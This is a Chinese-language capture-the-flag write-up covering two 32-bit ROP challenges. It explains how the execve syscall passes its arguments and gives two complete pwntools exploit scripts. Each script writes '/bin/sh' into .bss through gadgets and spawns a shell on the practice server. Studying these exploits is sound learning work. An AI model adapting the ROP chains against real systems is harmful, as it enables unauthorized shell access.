最近文件挺多挺杂的,暂时先把这篇传上来。
ROP
32位,没找到system函数,但因为是静态链接,不能利用libc里的system。
学到了system call,这个不用调用函数,而是汇编指令int 0x80
我们可以查到execve的系统调用号为0x0b,而在系统调用时,eax是存放系统调用号,ebx,ecx,edx分别存放前3个参数,esi存放第4个参数,edi存放第5个参数,而Linux系统调用最多支持5个单独参数。如果实际参数超过5个,那么使用一个参数数组,并且将该数组的地址存放在ebx中。
ROP链中有一个值得学习的点,那就是/bin/sh如何写入bss。
这里是找到了pop dword ptr [ecx] ; ret
,将数据写入ecx的地址处。第一次见,学到了。
ROP链的其它部分不必多说。
from pwn import *
context.log_level = 'debug'
#p = process('./rop')
#p = gdb.debug('./rop', 'b *0x08048893')
p = remote('hackme.inndy.tw', 7704)
e = ELF('./rop')
bss_addr = e.bss()
write2ecx = 0x0804b5ba # pop dword ptr [ecx] ; ret
pop_ecx_ret = 0x080de769 # pop ecx ; ret
pop_eax_ret = 0x080b8016 # pop eax ; ret
#pop_ebx_ret = 0x080481c9 # pop ebx ; ret
pop_edx_ecx_ebx_ret = 0x0806ed00 # pop edx ; pop ecx ; pop ebx ; ret
int_0x80 = 0x0806c943 # int 0x80
payload = b'a' * 0xc + b'b' * 0x4
payload += p32(pop_ecx_ret) + p32(bss_addr) + p32(write2ecx) + b'/bin'
payload += p32(pop_ecx_ret) + p32(bss_addr + 4) + p32(write2ecx) + b'/sh\x00'
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int_0x80)
p.sendline(payload)
p.interactive()
int 80看到eax=0xb,即知道调用execve。
execve是这样的:
int execve(const char * filename,char * const argv[ ],char * const envp[ ]);
这里虽然是x86,但是参数并不入栈,而是依次是ebx,ecx,edx.
ebx放shell命令。ecx和edx本题中置0.
我之前只pop ebx ret,但是没拿到shell。所以说ecx和edx可能是必须要带上的。
看下下图,一目了然:
对了,用的是p.sendline。因为p.send的话,会一直停在gets函数那里,不会继续执行。
可能是gets函数一直读到回车才会跳出吧。
参考:https://xz.aliyun.com/t/3700#toc-2
rop2
x86,动态链接。这次也是syscall,但是和上一题rop不太一样,这里不是int 0x80实现的,而是call _syscall,所以参数是在栈上。
没找到pop eax; ret
,所以用的是pop_eax_edx_ecx_ret
。
最后调用syscall的rop链忘了加上返回地址了(注释的那一行),我该死~
from pwn import *
context.log_level = 'debug'
#p = process('rop2')
#p = gdb.debug('./rop2', 'b *0x8048454')
p = remote('hackme.inndy.tw', 7703)
e = ELF('rop2')
syscall_addr = e.plt['syscall']
write2eax = 0x0804844e # pop dword ptr [eax] ; ret
pop_eax_edx_ecx_ret = 0x0804843e # pop eax ; pop edx ; pop ecx ; ret
bss_addr = e.bss()
payload = b'a' * 0xc + b'b' * 0x4
payload += p32(pop_eax_edx_ecx_ret) + p32(bss_addr) + p32(0xdeadbeef) + p32(0xdeadbeef) + p32(write2eax) + b'/bin'
payload += p32(pop_eax_edx_ecx_ret) + p32(bss_addr + 4) + p32(0xdeadbeef) + p32(0xdeadbeef) + p32(write2eax) + b'/sh\x00'
#payload += p32(syscall_addr) + p32(0xb) + p32(bss_addr) + p32(0) + p32(0)
payload += p32(syscall_addr) + p32(0xdeadbeef) + p32(0xb) + p32(bss_addr) + p32(0) + p32(0)
payload = payload.ljust(1024, b'c')
p.recvuntil('Give me your ropchain:')
p.sendline(payload)
p.interactive()
值得注意的一点是这题的read和write也是syscall实现的:
syscall表: